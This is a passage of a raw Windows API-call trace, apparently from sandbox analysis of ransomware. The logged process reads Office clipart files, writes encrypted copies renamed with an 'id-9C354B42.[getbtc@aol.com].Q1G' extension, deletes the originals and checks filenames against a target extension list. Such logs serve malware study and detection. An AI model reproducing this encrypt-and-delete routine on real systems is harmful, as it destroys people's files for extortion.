dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.180] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.180] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.180] GetLastError () returned 0x0 [0055.180] ReadFile (in: hFile=0x1fc, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x127e, lpOverlapped=0x0) returned 1 [0055.368] WriteFile (in: hFile=0x234, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0055.369] ReadFile (in: hFile=0x1fc, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.369] WriteFile (in: hFile=0x234, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.369] SetEndOfFile (hFile=0x234) returned 1 [0055.370] CloseHandle (hObject=0x234) returned 1 [0055.370] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.370] SetEndOfFile (hFile=0x1fc) returned 1 [0055.371] CloseHandle (hObject=0x1fc) returned 1 [0055.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0055.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.391] lstrlenW (lpString=".doc") returned 4 [0055.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.391] lstrlenW (lpString=".docx") returned 5 [0055.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.391] lstrlenW (lpString=".pdf") returned 4 [0055.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.391] lstrlenW (lpString=".xls") returned 4 [0055.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.391] lstrlenW (lpString=".xlsx") returned 5 [0055.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.391] lstrlenW (lpString=".ppt") returned 4 [0055.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.391] lstrlenW (lpString=".zip") returned 4 [0055.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.392] lstrlenW (lpString=".rar") returned 4 [0055.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString=".bz2") returned 4 [0055.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString=".7z") returned 3 [0055.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString=".dbf") returned 4 [0055.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString=".1cd") returned 4 [0055.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString=".jpg") returned 4 [0055.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString=".doc") returned 4 [0055.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString=".docx") returned 5 [0055.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.392] lstrlenW (lpString=".pdf") returned 4 [0055.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString=".xls") returned 4 [0055.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.392] lstrlenW (lpString=".xlsx") returned 5 [0055.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.392] lstrlenW (lpString=".ppt") returned 4 [0055.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.392] lstrlenW (lpString=".zip") returned 4 [0055.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.392] lstrlenW (lpString=".rar") returned 4 [0055.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.392] lstrlenW (lpString=".bz2") returned 4 [0055.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.393] lstrlenW (lpString=".7z") returned 3 [0055.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.393] lstrlenW (lpString=".dbf") returned 4 [0055.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.393] lstrlenW (lpString=".1cd") returned 4 [0055.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0055.393] lstrlenW (lpString=".jpg") returned 4 [0055.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.393] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.393] lstrlenW (lpString="AN01174_.WMF") returned 12 [0055.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0056.903] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=27858) returned 1 [0056.903] CloseHandle (hObject=0x230) returned 1 [0056.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0056.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.956] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.956] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.957] GetLastError () returned 0x0 [0056.957] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0056.961] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0056.963] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.963] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.963] SetEndOfFile (hFile=0x190) returned 1 [0056.963] CloseHandle (hObject=0x190) returned 1 [0056.963] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.963] SetEndOfFile (hFile=0x214) returned 1 [0056.964] CloseHandle (hObject=0x214) returned 1 [0056.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString=".doc") returned 4 [0056.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString=".docx") returned 5 [0056.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.965] lstrlenW (lpString=".pdf") returned 4 [0056.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString=".xls") returned 4 [0056.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.965] lstrlenW (lpString=".xlsx") returned 5 [0056.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.965] lstrlenW (lpString=".ppt") returned 4 [0056.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString=".zip") returned 4 [0056.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.965] lstrlenW (lpString=".rar") returned 4 [0056.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString=".bz2") returned 4 [0056.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString=".7z") returned 3 [0056.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString=".dbf") returned 4 [0056.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString=".1cd") returned 4 [0056.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.965] lstrlenW (lpString=".jpg") returned 4 [0056.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString=".doc") returned 4 [0056.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString=".docx") returned 5 [0056.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.966] lstrlenW (lpString=".pdf") returned 4 [0056.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString=".xls") returned 4 [0056.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.966] lstrlenW (lpString=".xlsx") returned 5 [0056.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.966] lstrlenW (lpString=".ppt") returned 4 [0056.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString=".zip") returned 4 [0056.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.966] lstrlenW (lpString=".rar") returned 4 [0056.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString=".bz2") returned 4 [0056.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString=".7z") returned 3 [0056.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString=".dbf") returned 4 [0056.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString=".1cd") returned 4 [0056.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0056.966] lstrlenW (lpString=".jpg") returned 4 [0056.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.966] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.967] lstrlenW (lpString="AN04196_.WMF") returned 12 [0056.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.967] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3144) returned 1 [0056.967] CloseHandle (hObject=0x214) returned 1 [0056.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0056.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.967] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.967] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.968] GetLastError () returned 0x0 [0056.968] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xc48, lpOverlapped=0x0) returned 1 [0056.969] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0056.970] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.970] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.970] SetEndOfFile (hFile=0x190) returned 1 [0056.970] CloseHandle (hObject=0x190) returned 1 [0056.970] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.970] SetEndOfFile (hFile=0x214) returned 1 [0056.971] CloseHandle (hObject=0x214) returned 1 [0056.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString=".doc") returned 4 [0056.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString=".docx") returned 5 [0056.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.972] lstrlenW (lpString=".pdf") returned 4 [0056.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString=".xls") returned 4 [0056.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.972] lstrlenW (lpString=".xlsx") returned 5 [0056.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.972] lstrlenW (lpString=".ppt") returned 4 [0056.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString=".zip") returned 4 [0056.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.972] lstrlenW (lpString=".rar") returned 4 [0056.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString=".bz2") returned 4 [0056.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString=".7z") returned 3 [0056.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString=".dbf") returned 4 [0056.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString=".1cd") returned 4 [0056.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.972] lstrlenW (lpString=".jpg") returned 4 [0056.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString=".doc") returned 4 [0056.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString=".docx") returned 5 [0056.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.973] lstrlenW (lpString=".pdf") returned 4 [0056.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString=".xls") returned 4 [0056.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.973] lstrlenW (lpString=".xlsx") returned 5 [0056.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.973] lstrlenW (lpString=".ppt") returned 4 [0056.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString=".zip") returned 4 [0056.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.973] lstrlenW (lpString=".rar") returned 4 [0056.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString=".bz2") returned 4 [0056.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString=".7z") returned 3 [0056.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString=".dbf") returned 4 [0056.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString=".1cd") returned 4 [0056.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0056.973] lstrlenW (lpString=".jpg") returned 4 [0056.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.974] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.974] lstrlenW (lpString="AN04206_.WMF") returned 12 [0056.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.974] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=7668) returned 1 [0056.974] CloseHandle (hObject=0x214) returned 1 [0056.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0056.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.975] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.975] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 